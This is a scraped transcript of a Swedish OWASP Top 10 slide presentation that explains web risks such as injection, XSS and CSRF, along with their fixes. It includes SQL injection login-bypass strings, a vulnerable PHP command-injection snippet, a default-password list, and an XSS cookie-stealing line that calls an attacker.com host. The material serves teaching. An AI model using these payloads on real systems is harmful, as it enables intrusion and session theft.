Presentation laddar. Vänta.

Presentation laddar. Vänta.

OWASP Intro & OWASP Top 10 Mattias Bergling, OWASP Stockholm/Nasdaq.

Liknande presentationer


En presentation över ämnet: "OWASP Intro & OWASP Top 10 Mattias Bergling, OWASP Stockholm/Nasdaq."— Presentationens avskrift:

1 OWASP Intro & OWASP Top 10 Mattias Bergling, OWASP Stockholm/Nasdaq

2 OWASP OWASP Sweden OWASP projekt OWASP Top10 Agenda

3 Jobbat med IT-säkerhet i ~15 år Största delen av tiden på Inspect it >> 2Secure Numera applikationssäkerhet på Nasdaq Startade OWASP Sweden tillsammans med John Wilander 2008 Var med och anordnade OWASP AppSec EU 2010 För närvarande i ledningsgruppen för OWASP Stockholm Mattias Bergling

4 Startades 2001 Global icke vinstdrivande organisation (501(c)(3))501(c)(3) https://www.owasp.org Fokus på att förbättra säkerheten i mjukvara. ~200 lokala chapters i ~100 länder. Årlig konferens per världsdel OWASP

5 Startades https://www.owasp.org/index.php/Sweden John Wilander & Mattias Bergling Ledningsgrupp 3-6 personer Anordnade AppSec EU seminariekvällar per år OWASP Sweden

6 Startades https://www.owasp.org/index.php/Sweden John Wilander & Mattias Bergling Ledningsgrupp 3-6 personer Anordnade AppSec EU seminariekvällar per år Göteborg och Linköping startades 2011 respektive 2013 Sweden >> Stockholm Umeå 2015 Anmälan till mailinglista/mailinglistor https://lists.owasp.org/mailman/listinfo/owasp-sweden OWASP Sweden

7 SQL Injection, Web Scarab Security in the Open Source Process OWASP AppSec Europe Conference 2010 PCI DSS XSS & CSRF Code Analysis and Review OWASP Top (rc1) The Big Protocols Community Hack OWASP Sweden Samy XSS attack on MySpace HTTP-säkerhet "Security impact of SVG" + ""ECMA Script 5, a frozen DOM OWASP Sweden SSL Day Web Application Access Control Design Excellence Secure Mashups, IT Sec in Cars, Buffer Overflow Prevention, "How We Won the Deutche Post Security Cup", and Multi-Step, Semi-Blind CSRF JavaScript + RESTful Security

8 141 projekt OWASP Projekt

9 12 flaggskepp Verktyg Zed Attack Proxy Web Testing Environment Project Web Testing Environment Project OWTF Dependency Check OWASP Projekt Kod ModSecurity Core Rule Set Project ModSecurity Core Rule Set Project CSRFGuard Project AppSensor Project Dokumentation Application Security Verification Standard Project (ASVS) Application Security Verification Standard Project (ASVS) Software Assurance Maturity Model (SAMM) Software Assurance Maturity Model (SAMM) AppSensor Project Top Ten Project Testing Guide Project

10 OWASP Testing guide Version 4 släpptes nyligen Täcker testning av webapplikationer Introduction and Objectives Configuration and Deployment Management Testing Identity Management Testing Authentication Testing Authorization Testing Session Management Testing Input Validation Testing Testing for Error Handling Testing for weak Cryptography Business Logic Testing Client Side Testing https://www.owasp.org/images/5/52/OWASP_Testing_Guide_v4.pdf OWASP Projekt

11 OWASP Testing Guide

12 OWASP ZAP Proxy och attack-/testverktyg Intercepting proxy Spider Fuzzer Active/passive scanner Forced browser WebSockets, REST, Ajax... OWASP Projekt

13 OWASP Cheat Sheet Samling kortfattade beskrivningar av olika ämnen Både för testare och utvecklare OWASP Projekt

14 OWASP Cheat Sheet

15 OWASP Developer Guide Ursprungsprojektet som bidrog till OWASPs framgång. Är dock under uppdatering då den senaste versionen inte var fulltäckande. OWASP Projekt

16 OWASP ASVS (Application Security Verification Standard) https://www.owasp.org/images/5/58/OWASP_ASVS_Version_2.pdf Krav på applikationer för att uppfylla olika säkerhetsnivåer Level 1: Opportunistic Level 2: Standard Level 3: Advanced OWASP Projekt Kravområden V2. Authentication V3. Session Management V4. Access Control V5. Malicious Input Handling V7. Cryptography at Rest V8. Error Handling and Logging V9. Data Protection V10. Communications V11. HTTP V13. Malicious Controls V15. Business Logic V16. File and Resource V17. Mobile

17 OWASP Projekt ASVS - V5: Malicious Input Handling Verification Requirements

18 Lista över de allvarligaste säkerhetsriskerna kring webapplikationer Varje risk listar Beskrivning Sårbarhetsexempel Angreppsexempel Råd kring att undvika/åtgärda Referenser Uppdateras vart tredje år OWASP Top 10

19

20

21

22 A1 Injection SQL, OS, LDAP etc A2 Broken Authentication and Session Management Authentication, session management tokens, timeouts tec. A3 Cross-Site Scripting (XSS) Stored, reflected or DOM based A4 Insecure Direct Object References Files, keys, directories exposed A5 Security Misconfiguration Weak or default configurations OWASP Top 10 A6 Sensitive Data Exposure Not protected enough in transit or at rest A7 Missing Function Level Access Control Access to functions not normally available A8 Cross-Site Request Forgery (CSRF) Force user to execute actions A9 Using Components with Known Vulnerabilities Libraries, frameworks, modules etc. A10 Unvalidated Redirects and Forwards Acting without proper validation

23 A1 - Injection

24 Inträffar när data som skickas via parametrar angriparna kan påverka och tolkas som kommandon istället för data. URL parametrar, HTTP headers, formulär/POST parametrar... Valideras inte datan innan tolkning kan det medföra att angripare kan utföra egna frågor/kommandon. Kategorin inkluderar attacker mot flertalet tolkar: SQL Kommando LDAP XPATH A1 - Injection

25 Vanligaste och mest omtalade injektionsbristen Resultatet av obefintlig indatavalidering/typning vilket resulterar i att data tolkas som SQL syntax: SQL-injection String sql = “SELECT * FROM app_logins WHERE username=‘” + user + “’ AND password=‘” + pass + “’” Vanligaste och mest omtalade injektionsbristen Resultatet av obefintlig indatavalidering/typning vilket resulterar i att data tolkas som SQL syntax: String sql = “SELECT * FROM app_logins WHERE username=‘” + user + “’ AND password=‘” + pass + “’” Vanligaste och mest omtalade injektionsbristen Resultatet av obefintlig indatavalidering/typning vilket resulterar i att data tolkas som SQL syntax: String sql = “SELECT * FROM app_logins WHERE username=‘” + user + “’ AND password=‘” + pass + “’” Vanligaste och mest omtalade injektionsbristen Resultatet av obefintlig indatavalidering/typning vilket resulterar i att data tolkas som SQL syntax: String sql = “SELECT * FROM app_logins WHERE username=‘” + user + “’ AND password=‘” + pass + “’”

26 Vanligaste och mest omtalade injektionsbristen Resultatet av obefintlig indatavalidering/typning vilket resulterar i att data tolkas som SQL syntax: SQL-injection String sql = “SELECT * FROM app_logins WHERE username=‘” + user + “’ AND password=‘” + pass + “’” String sql = “SELECT * FROM app_logins WHERE username=‘O’Brian’ AND password=‘’” Vad händer om användaren heter O’Brian? Unclosed quotation mark at... Vanligaste och mest omtalade injektionsbristen Resultatet av obefintlig indatavalidering/typning vilket resulterar i att data tolkas som SQL syntax: String sql = “SELECT * FROM app_logins WHERE username=‘” + user + “’ AND password=‘” + pass + “’” Vanligaste och mest omtalade injektionsbristen Resultatet av obefintlig indatavalidering/typning vilket resulterar i att data tolkas som SQL syntax: String sql = “SELECT * FROM app_logins WHERE username=‘” + user + “’ AND password=‘” + pass + “’” Vanligaste och mest omtalade injektionsbristen Resultatet av obefintlig indatavalidering/typning vilket resulterar i att data tolkas som SQL syntax: String sql = “SELECT * FROM app_logins WHERE username=‘” + user + “’ AND password=‘” + pass + “’”

27 Vanligaste och mest omtalade injektionsbristen Resultatet av obefintlig indatavalidering/typning vilket resulterar i att data tolkas som SQL syntax: SQL-injection String sql = “SELECT * FROM app_logins WHERE username=‘” + user + “’ AND password=‘” + pass + “’” String sql = “SELECT * FROM app_logins WHERE username=‘O’Brian’ AND password=‘’” Vad händer om användaren heter O’Brian? Unclosed quotation mark at... Vad händer om användaren heter ’ or ’’=’ eller ’ OR ’1’=’1’—? String sql = “SELECT * FROM app_logins WHERE username=‘’ or ‘’=‘’ AND password=‘’” String sql = “SELECT * FROM app_logins WHERE username=‘’ or ‘1’=‘1’-- AND password=‘’” Vanligaste och mest omtalade injektionsbristen Resultatet av obefintlig indatavalidering/typning vilket resulterar i att data tolkas som SQL syntax: String sql = “SELECT * FROM app_logins WHERE username=‘” + user + “’ AND password=‘” + pass + “’” Vanligaste och mest omtalade injektionsbristen Resultatet av obefintlig indatavalidering/typning vilket resulterar i att data tolkas som SQL syntax: String sql = “SELECT * FROM app_logins WHERE username=‘” + user + “’ AND password=‘” + pass + “’” Vanligaste och mest omtalade injektionsbristen Resultatet av obefintlig indatavalidering/typning vilket resulterar i att data tolkas som SQL syntax: String sql = “SELECT * FROM app_logins WHERE username=‘” + user + “’ AND password=‘” + pass + “’”

28 SQL-injection

29 Källa: https://devcentral.f5.com/articles/the-power-of-response-signatures

30 Identifiering Detaljerade felmeddelanden Olikheter i svar (mellan exempelvis ’ och ’’ eller 1 och 1%2b1) Timingfunktioner Waitfor delay, benchmark... SQL-injection

31 Dataextrahering Information returnerad i korrekt avslutad fråga UNION Detaljerade felmeddelanden Felaktig konvertering Blind SQL-injection Olikheter mellan svar Side channels Filer, nätverkskommunikation (DNS) SQL-injection

32 Konsekvenser Databasdumpar, intrång, utpressning, förnedring Utökad funktionalitet Nätverkskommunikation Skriva till filer Länkande databaser SQL-injection

33 Åtgärder Parameteriserade frågor Separera data och syntax via placeholders - “Bind variables” till Prepared Statements Java EE – use PreparedStatement() with bind variables.NET – use parameterized queries like SqlCommand() or OleDbCommand() with bind variables PHP – use PDO with strongly typed parameterized queries (using bindParam()) Hibernate - use createQuery() with bind variables (called named parameters in Hibernate) SQLite - use sqlite3_prepare() to create a statement objectstatement object SQL-injection

34 Åtgärder String query = "SELECT account_balance FROM user_data WHERE user_name = " + request.getParameter("customerName"); try { Statement statement = connection.createStatement( … ); ResultSet results = statement.executeQuery( query ); } SQL-injection String custname = request.getParameter("customerName"); String query = "SELECT account_balance FROM user_data WHERE user_name = ? "; PreparedStatement pstmt = connection.prepareStatement( query ); pstmt.setString( 1, custname); ResultSet results = pstmt.executeQuery( );

36 Mer information https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_ Sheet https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_ Sheet https://www.owasp.org/index.php/Query_Parameterization_Cheat_S heet https://www.owasp.org/index.php/Query_Parameterization_Cheat_S heet https://github.com/sqlmapproject/sqlmap SQL-injection

37 Målet är att exekvera egna kommandon på målsystemet genom att injecera tecken som avslutar datadelen och infogar egna kommandon Kommadona exekveras då i ett operativsystemsskal vilket medför åtkomst till underliggande funktionalitet Command injection Källa: https://security.web.cern.ch/security/recommendations/en/web_applications.shtml

38 Exempel "); $file=$_GET['filename']; system("rm $file"); ?> Command injection

39 Fråga Svar Please specify the name of the file to delete uid=33(www-data) gid=33(www-data) groups=33(www-data ) Command injection

40 Åtgärder Undvik “farliga” funktioner Vissa språk stödjer parameterisering Filtrera indata mot en vit/svartlista Command injection

41 Mer information https://www.owasp.org/index.php/Command_Injection Command injection

42 LDAP SMTP XPATH... Övriga injektioner

43 A2 - Autentisering och sessionshantering

44 Inkluderade sårbarhetstyper Svaga skyddsmekaniskmer för autentiseringsinformation Möjligheten att gissa autentiseringsuppgifter Sesionsuppgifter exponeras Sessionsuppgifter återanvänds (Session Fixation) Svagheter i timeout/logout-funktioner A2 - Autentisering och sessionshantering

45 Vanliga problemområden Login/password reset/account creation avslöjar om kontot existerar Klartext (A6) - Lösenord sparas i klartext/reverserbart Flashback/Pastebin/... NIST ”Guide to Enterprise Password Management (Draft)” Standardkonton DPL Admin/demo/test/root/edit/administrator/demo1/test1/... /password/Sommar15/ /secret/ hemligt/abc123/qwerty/qwe123/123qwe/ osv Autentisering

46 Vanliga problemområden Sessionsinformation i URL:enURL:en Session fixation/logout/timeout Funktionen för lösenordsbyte kräver inte det gamla lösenordet Funktionen för lösenordsåterställning medger byte på valfritt konto Sessionshantering

47 Åtgärder Följ kapitel V2 och V3 i OWASP ASVS Använd bibliotek och centrala funktioner för autentisering och sessionshantering Salta och hasha lösenord I databaser Login och all kommunkation som innehåller sessionsinformation ska TLS:as Sessionsidentifierara ska vara unika för sessionen, tillräckligt slumpmässiga och invalideras på serversidan Returnera generiska felmeddelanden A2 - Autentisering och sessionshantering

48 Mer information Default Password List https://www.owasp.org/index.php/Authentication_Cheat_Sheet https://www.owasp.org/index.php/Forgot_Password_Cheat_Sheet https://www.owasp.org/index.php/Session_Management_Cheat_She et https://www.owasp.org/index.php/Session_Management_Cheat_She et A2 - Autentisering och sessionshantering

49 A3 – Cross-Site Scripting

50 Inkluderade sårbarhetstyper Reflekterad XSS Lagrad XSS DOM-baserad XSS A3 – Cross-Site Scripting

51 Introduktion Webbläsare följer Same-origin-principle (S.O.P): En sida som laddas från en domän får inte läsa information från andra domäner Ladda bilder och skript från andra domäner samt posta formulär till andra domäner är ok Sidor laddade i exempelvis iframes kan inte läsa information från huvuddokumentet XSS bryter SOP A3 – Cross-Site Scripting

52 Vanliga problemområden Alla parametrar som användaren kan påverka som direkt eller indirekt blir del av en resulterande sida. (String) page += " "; '> document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi ?foo='+document.cookie ' A3 – Cross-Site Scripting

53

54 Inträffar när data från angriparen inkluderas i den returnerande sidan till användern, i själva sidan eller felmeddlande, utan att kodas korrekt Scenario 1.En angripare identifierar en sårbar sida och konstruerar en länk som utnyttjar denna sårbarhet 2.Angriparen distribuerar länken till sina offer 3.Exekverar skripten i användarens webbläsare Reflekterad XSS

55 Vanligtvis ansedd som den allvarligaste typen av XSS Data från användaren lagras, exemplevis i en databas, i applikationen och inkluderas i varje gång en användare efterfrågar informationen. Scenario: 1.En angripare kan infoga JavaScript i sitt namn som som lagras på serversidan 2.JavaScriptet exekveras varje gång någon besöker en sida där angriparens namn inkluderas 3.Skulle en administratör besöka en sida där alla användare listas skulle angriparen möjligtvis kunna erhålla dennes behörigheter Lagrad XSS

56 Attacken skickas aldrig till servern utan tolkas direkt i webbläsaren Inträffar när klientside JavaScript läser parametrar från sidan och uppdaterar sidan (function(g) { var a=location.href.split(”#!”[1]; if(a){ g.location=g.HBR=a; } } )(window); DOM-baserad XSS

57 Konsekvenser Exekvera funktioner i applikationer som den angripne användaren Läsa och skicka information till angriparen Modifiera sidan Automatisera händelser med BeEF A3 – Cross-Site Scripting

58 Åtgärder Koda all data I enlighet med dess HTML kontext: HTML entity encode ( <, " --> ", ' --> ') kommer man långt med.. Men kolla även andra kontexter i XSS Prevention Cheat SheetXSS Prevention Cheat Sheet Content Security Policy header Manipulera HTML-dom via objekt och attribut, inte konkatenerade strängar element.setAttribute(”value”, insecure_variable) istället för document.write(” ”); A3 – Cross-Site Scripting

59 Mer information https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Preve ntion_Cheat_Sheet https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Preve ntion_Cheat_Sheet https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Ch eat_Sheet https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Ch eat_Sheet https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet https://www.owasp.org/index.php/ASVS (V6) https://www.owasp.org/index.php/ASVS https://www.xssposed.org/ https://xss-game.appspot.com A3 – Cross-Site Scripting

60 A4 – Insecure Direct Object References

61 Sårbarhetstyper De parametrar där användaren blir presenterad med objektets värde istället för en referens. (Direct) De parametrar där användaren blir presenterad med en referens till oblektet, men referensen inte verifieras mot användarens behörigheter (Insecure) A4 – Insecure Direct Object References

62 Kan en angripare ändra på en parameter i en fråga och få åtkomst till data/funktioner ej avsedd för denne så är den sårbar A4 – Insecure Direct Object References Hämta information Utföra en operation Hämta filer Presentera funktionalitet

63 Konsekvenser En angripare får åtkomst till all data som refereras av den sårbara parametern - skulle kunna vara: Alla filer I en molntjänst Alla kontouppgifter I en Internetbank Alla användare I en anonymiseringstjänst Alla recept I ett apotek Alla funktioner i en applikation … A4 – Insecure Direct Object References

64 Åtgärder Använd indirekta värden som mappas till resurser på applikationssidan, mappat till användarens session Alternativt signera ala ViewState Kontrollera att användarsessionen har behörighet att efterfråga resursen A4 – Insecure Direct Object References

65 Mer information https://www.owasp.org/index.php/ASVS (V4) https://www.owasp.org/index.php/ASVS A4 – Insecure Direct Object References

66 A5 – Security Misconfiguration

67 Inkluderade sårbarhetstyper Avsaknas härdning av komponenter i applikationsstacken Uppdateringar Säkerhetsinställningar Standardkonton/-inställningar/-funktioner Felhantering A5 – Security Misconfiguration

68 Vanliga problemområden Standardkonfigurationer Uppdateringar av mjukvara utöver det som täcks av vanliga uppdateringsfunktioner A5 – Security Misconfiguration

69

70

71 Konsekvenser Allt ifrån informationsläckage till totalt ägd applikation A5 – Security Misconfiguration

72 Åtgärder Använd checklistor och härdningsguider när system deployas Verifiera att inga nya funktioner aktiveras eller konfigureras om när uppdateringar appliceras Använd arkitektur där olika komponenter och funktioner separeras Skanna själv A5 – Security Misconfiguration

73 Mer information https://www.owasp.org/index.php/Testing_for_configuration_manag ement https://www.owasp.org/index.php/Testing_for_configuration_manag ement https://www.owasp.org/index.php/ASVS (V12) https://www.owasp.org/index.php/ASVS Center for Internet Security (CIS) – 101 härdningsguider https://benchmarks.cisecurity.org/downloads/multiform/index.cfm DISA STIG:s A5 – Security Misconfiguration

74 A5 – Security Misconfiguration

75 A6 – Sensitive Data Exposure

76 Inkluderade sårbarhetstyper Sparas känslig information i klartext Skickas känslig information i klartext Cashas känslig information hos klienten Accepteras endast starka krypteringsprotokoll/-algoritmer Skyddas nycklar på ett fullgott sätt A6 – Sensitive Data Exposure

77 Vanliga problemområden SSL/TLS Avsaknden av Svaga algoritmer/förhandlingar – downgrade Delar av siter görs tillgängliga via klartext Kryptering/hashning Databasdumpar Automatisk kryptering för ”Data at rest” Hur skyddas nycklar Vad och vart krypteras A6 – Sensitive Data Exposure

78 Källa: https://twitter.com/spazef0rze/status/

79 A6 – Sensitive Data Exposure

80 Jämförelse av databasdumpar A6 – Sensitive Data Exposure Källa:http://www.troyhunt.com/2011/06/owasp-top-10-for-net-developers-part-7.html https://samsclass.info/123/proj10/comparing-hashes.htm

81 https://haveibeenpwned.com/ A6 – Sensitive Data Exposure

82 Konsekvenser Känslig information exponeras för obehöriga individer. Kan påverka andra siter och andra siters brister kan påverka er A6 – Sensitive Data Exposure

83 Åtgärder https://www.owasp.org/index.php/ASVS Crypto (V7) Data Prot. (V9) SSL (V10) Kryptera känslig information Salta och hasha lösenord med rekommenderad algoritm Spar endast känslig information i klartext så länge ni absolut måste Acceptera endast godkända algoritmer Överväg att använda HSM (FIPS-140) A6 – Sensitive Data Exposure

84 Mer information https://www.owasp.org/index.php/Cryptographic_Storage_Cheat_Sh eet https://www.owasp.org/index.php/Cryptographic_Storage_Cheat_Sh eet https://www.owasp.org/index.php/Password_Storage_Cheat_Sheet https://www.owasp.org/index.php/Transport_Layer_Protection_Chea t_Sheet https://www.owasp.org/index.php/Transport_Layer_Protection_Chea t_Sheet https://www.owasp.org/index.php/ASVS Crypto (V7) Data Prot. (V9) SSL (V10) A6 – Sensitive Data Exposure

85 A7 – Missing Function Level Access Control

86 Inkluderade sårbarhetstyper Horisontell privilege escalation Vertikal privilege escalation Kringgå autentisering A7 – Missing Function Level Access Control

87 Angripare kan komma åt information eller funktioner de normalt inte skulle ha åtkomst till. Beror på svagheter i accesskontroller Testas genom ”forced browsing” mot en information&funktion/rollmatris A7 – Missing Function Level Access Control

88 Konsekvenser Horisontell privilege escalation Kan en användare i applikationen komma åt information eller funktioner tillhörande någon annan användare? Vertikal privilege escalation Kan en användare komma åt information eller funktioner endast tillgängliga för exempelvis en administratör? Kringgå autentisering Kan en anonym användare komma åt information eller funktioner som endase inloggade användare ska komma åt? A7 – Missing Function Level Access Control

89 Åtgärder Använd centraliserad access kontroll (på serversidan;-) Standard ska vara ”Default Deny” Designa access kontroll som ett filter Begränsa åtkomst till administrativa gränssnitt Begränsa åtkomst till filer inte supporterade av applikationen A7 – Missing Function Level Access Control

90 Mer information https://www.owasp.org/index.php/ASVS (V4) https://www.owasp.org/index.php/ASVS A7 – Missing Function Level Access Control

91 A8 – Cross-Site Request Forgery (CSRF)

92 Sårbarheten Möjligheten att tvinga en autentiserad användare att utföra händelser i applikationen. A8 – Cross-Site Request Forgery (CSRF) Källa:http://paulsec.github.io/bsides-london-2014/

93 Problemet Applikationen förliter sig endast på sessionsinformationen från en autentiserad användare. Följande exempel är för en transaktion: tinationAccount= A8 – Cross-Site Request Forgery (CSRF) Om en angripare inkluderar följande kod på en populär sida – vad händer? Varje gång sidan besöks av en användare som är inloggad i example.com kommer transaktionen genomföras!

94 Konsekvenser En angripare kan får en applikationsanvändare att utföra händelser i dennes namn. A8 – Cross-Site Request Forgery (CSRF)

95 Åtgärder Inkludera ett slumpmässigt värde i varje förfrågan (Synchronizer Token) Värdet bör skickas som ett ”Hidden Field” och inte i URL:en då denna i vissa fall kan avläsas av angriparen.URL:en Kontrollera Origin headern (XMLHttpRequest) Signera content ala ViewState Vissa kritiska funktioner kanske ska skyddas med ytterligare en autentisering/CAPTCHA Andra alternativ som anses erbjuda ett svagare CSRF skydd är att kontrollera headers A8 – Cross-Site Request Forgery (CSRF)

96 Åtgärder som inte fungerar Använda hemliga cookies Endast acceptera HTTP POST Att dela upp frågan i flera steg Inkludera sessionsinformation i URL:enURL:en Skyddar mot CSRF men är inte attrekommendera A8 – Cross-Site Request Forgery (CSRF)

97 Mer information https://www.owasp.org/index.php/Cross- Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet https://www.owasp.org/index.php/Cross- Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet https://www.owasp.org/index.php/CSRFGuard A8 – Cross-Site Request Forgery (CSRF)

98 A9 – Using Components with Known Vulnerabilities

99 Brister kan förekomma och utnyttjas i hela applikationsstacken Operativsystem Webserver Applikationsserver Applikation och bibliotek Databas Samtlika komponenter behöver kontinuerligt uppdateras för att inte publikt kända brister ska utnyttjas publikt rapporterade brister av olika allvarlighetsgrad CVSS2 visar bristens allvarlighetsgrad A9 – Using Components with Known Vulnerabilities

100 Konsekvenser Allt ifrån informationsläckage till totalt ägd applikation A9 – Using Components with Known Vulnerabilities Källa: https://blog.whitehatsec.com/the-ghost-of-information-disclosure/

101 Åtgärder Uppgradera till version som adresserar de identifierade säkerhetsproblemen – vanligtvis senaste versionen. Skapa process för att: Identifiera bibliotek, komponenter och beroenden Monitorera dessa i publika kanaler (mailinglistor, säkerhetsforum mm) Försök begränsa antalet komponenter och versioner som får användas i organisationen Skapa konfigurationsrekommendationer för de godkända komponenterna Skapa rutiner för 0-day i de komponenter som används publikt Heartbleed, ShellShock, Poodle.... A9 – Using Components with Known Vulnerabilities

102 Mer information OBS! 61MB = Alla CVE:er. Och några till (~80100) om man öppnar filen I en riktig editor ;-) Runt av dessa är ** RESERVED **, mao ej publikt annonserade Dubletter, false positives, rapporterade men ej patchade än, blev aldrig publik… https://nvd.nist.gov/cvss.cfm https://www.owasp.org/index.php/OWASP_Dependency_Check A9 – Using Components with Known Vulnerabilities

103

104 A10 – Unvalidated Redirects and Forwards

105 Inkluderade sårbarhetstyper Omdirigering till andra siter Omdirigering mellan olika delar av en site A10 – Unvalidated Redirects and Forwards

106 Vanliga problemområden Login/logout Inbäddade externa funktioner Federering Mesh A10 – Unvalidated Redirects and Forwards

107 Problemet Omdirigeringen begränsas inte till sin tilltänkta destination A10 – Unvalidated Redirects and Forwards

108 Konsekvenser Angripare kan lura användaren att sidan som presenteras är legitim Angripare kan erhålla obehörig åtkomst till funtionalitet som borde vara begränsad A10 – Unvalidated Redirects and Forwards

109 Åtgärder Undvik att använda Rediects och Forwards Undvik att använda parametrar som användaren kan ha påverkat I besluten Undvik att inkludera själva adressen utan hellre en referens till adressen Den sista utposten är att validera URL:en mot en vitlista – vilket har blivit fel I mer än ett fallURL:en //måste börja på good2.com A10 – Unvalidated Redirects and Forwards

110 Åtgärder Undvik att använda Redirects och Forwards Undvik att använda parametrar som användaren kan ha påverkat I besluten Undvik att inkludera själva adressen utan hellre en referens till adressen Den sista utposten är att validera URL:en mot en vitlista – vilket har blivit fel I mer än ett fallURL:en //måste börja på good2.com A10 – Unvalidated Redirects and Forwards

111 Mer information https://www.owasp.org/index.php/Unvalidated_Redirects_and_Forw ards_Cheat_Sheet https://www.owasp.org/index.php/Unvalidated_Redirects_and_Forw ards_Cheat_Sheet A10 – Unvalidated Redirects and Forwards

112 Frågor?


Ladda ner ppt "OWASP Intro & OWASP Top 10 Mattias Bergling, OWASP Stockholm/Nasdaq."

Liknande presentationer


Google-annonser